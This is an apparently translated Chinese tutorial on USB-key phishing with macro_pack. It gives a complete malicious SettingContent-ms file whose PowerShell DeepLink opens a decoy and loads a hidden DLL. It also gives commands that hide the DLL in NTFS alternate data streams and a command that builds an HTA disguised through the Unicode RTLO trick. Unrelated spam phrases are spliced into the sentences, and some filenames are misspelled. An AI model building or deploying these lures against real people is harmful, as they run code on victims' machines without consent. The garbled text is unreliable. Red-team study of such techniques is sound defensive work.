导语:本文主要讲的是如何使用macro_pack绕过airgap,drop,pwn,探讨了在HTA(HTML应用程序)文件中利用SettingContent-ms文件进行黑客攻击中所发生的一些事。
前言
前面,我已经向大家介绍了高级USB key钓鱼攻击三种攻击场景中的第一种场景,今天我接着介绍后两种。
攻击场景二
假如攻击的目标系统是MS Windows 10,且利用的是SettingContent-ms文件进行攻击。SpecterOps的利发国际手机客户端研究员Matt Nelson发现Windows 10中添加的一种文件类型格式可以被攻击者利用,在用户利发国际手机客户端机上执行恶意代码。这种文件类型为".SettingContent-ms",这是Windows 10在2015年引入的文件格式。这种文件类型是用来在windows 10设置页面创建快捷方式的。
攻击策略
在这个攻击策略中,我计划诱导攻击目标打开“README.txt”文件,而实际上它只是个诱导文件,真正正在运行的是恶意的settingcontent-ms文件。
因为settingcontent-ms文件遵循严格的XML模式,所以不可能像我在模拟测试一中使用恶意快捷方式一样,将它们嵌入在HTA文件中。不过,我可以使用NTFS的交换数据流(alternate data streams,简称ADS)来隐藏并运行DLL载荷。
此settingcontent-ms文件将执行隐藏在交换数据流(README.txt.settingcontent-ms:R)中的DLL,同时settingcontent-ms文件将运行Notepad以显示存储的另一个ADS中的诱导文本(README.txt.settingcontent-ms:T.txt )。
setupcontent-ms文件的好处是它们没有像LNK或URI文件那样的快捷箭头。
构建诱导文本文件
我会首先创建一个简单的文本文件,其中包含我希望在目标文件中打开readme时在Notepad中显示的文本。
echo "This is a simple README file." > Text.txt
构建恶意设置快捷方式文件
我可以使用macro_pack生成settincontent-ms文件,例如,要生成一个错误的README.txt文件,该文件就会启动一个运行calc的命令行:
echo 'C:\windows\system32\cmd.exe /c calc.exe' '.' | macro_pack.exe -G README.txt.settingcontent-ms
不过我真正想要的是启动有效载荷,DLL和诱导文件将隐藏在USB key的NTFS文件系统中的交换数据流中。我遇到的问题是setcontent-ms文件默认只在“C:\windows\system32\”中打开,这意味着我必须找到USB key所对应的卷标。本文,我使用的是powershell,不过也可能还有其他方法。
以下就是我想要执行的命令行:
%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"
该命令行能完成的操作有:
1.调用wmi找到USB key所对应的卷标,并将其放入$drive变量;
2.启动notepad,以在README.txt.settingcontent-ms:T.txt中打开诱导文本文件;
3.启动control.exe,以在README.txt.settingcontent-ms:R中加载DLL有效载荷;
请注意,此时,你也可以像在模拟测试一中那样使用rundll32加载DLL,但是我觉得还有其他更好的方案。
README.txt.settingcontent-ms文件最终如下所示:
<?xml version="1.0" encoding="UTF-8"?> <PCSettings> <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent"> <ApplicationInformation> <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID> <DeepLink>%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"</DeepLink> <Icon>.</Icon> </ApplicationInformation> <SettingIdentity> <PageID></PageID> <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID> </SettingIdentity> <SettingInformation> <Description>@shell32.dll,-4161</Description> <Keywords>@shell32.dll,-4161</Keywords> </SettingInformation> </SearchableContent> </PCSettings>
创建交换数据流
首先,你必须确保USB key已使用NTFS文件系统格式化,然后将README.txt.settingcontent-ms文件复制到NTFS USB key中。在这个例子中,USB key所的卷标为“G:”,现在开始创建交换数据流。
首先创建包含DLL的README.txt.settingcontent-ms:R流:
type payload.dll > G:\README.txt.settingcontent-ms:R
其次创建包含诱导文本的G:README.txt.settingcontent-ms:T.txt流:
type Text.txt > G:\README.txt.settingcontent-ms:T.txt
最后使用streams工具检查USB key上所创建的交换数据流,streams是一个查找文件是否有数据流文件寄存的工具。
注意:如果在USB key上编辑并保存README.txt.settingcontent-ms,则与文件关联的交换数据流将丢失,你也需要重复执行上述的两个命令。
模拟攻击
将USB key插入另一台Windows 10计算机后,双击“README.txt”。此时,你应该看到可以看到DLL被成功加载,并且notepad也自动打开,展示“This is a simple README file. ”的文本信息。
攻击场景三
利用Unicode RTLO模拟攻击,假设目标系统是MS Windows以及其他系统。
攻击策略
在这个模拟测试中,我将通过注入Unicode Right-To-Left-Overrive(RTLO)字符来伪装文件的扩展名。据了解,“RTLO”字符全名为“RIGHT-TO-LEFTOVERRIDE”,是一个不可显示的控制类字符,其本质是unicode字符。“RTLO”字符可使电脑将任意语言的文字内容按倒序排列,最初是用来支持一些从右往左写的语言的文字,比如阿拉伯语,希伯来语。由于它可以重新排列字符的特性,会被不法分子利用从而达到欺骗目标,使得用户运行某些具有危害性的可执行文件。例如,通过将Windows自带的记事本notepad.exe程序重命名,先插入“RTLO”字符,加上“txt.exe”,最后就能成功伪装出一个“exe.txt”的普通文档,但文件仍是exe可执行文件。
在本例中,我使用了带有错误“.jpg”扩展名的macro_pack生成运行calc的HTA文件。
echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg
在资源管理器中,文件将显示为“calcath.jpg”,实际上它是按着“calc [rtlo] gpj.hta”运行的。
这种方法很有趣,也适用于其他操作系统,如Ubuntu。它也可能适用于其他应用程序,如邮件客户端等。
模拟攻击
目前有多种方法可以利用unicode RTLO进行网络钓鱼攻击,一种可能性是将恶意exe文件伪装成zip文件,例如,更改文件图标并应用RTLO,此时文件名看起来以.zip结束。
此时,当用户单击假的zip文件时,exe将运行有效载荷并打开隐藏在文件资源或交换数据流中的诱导zip文档。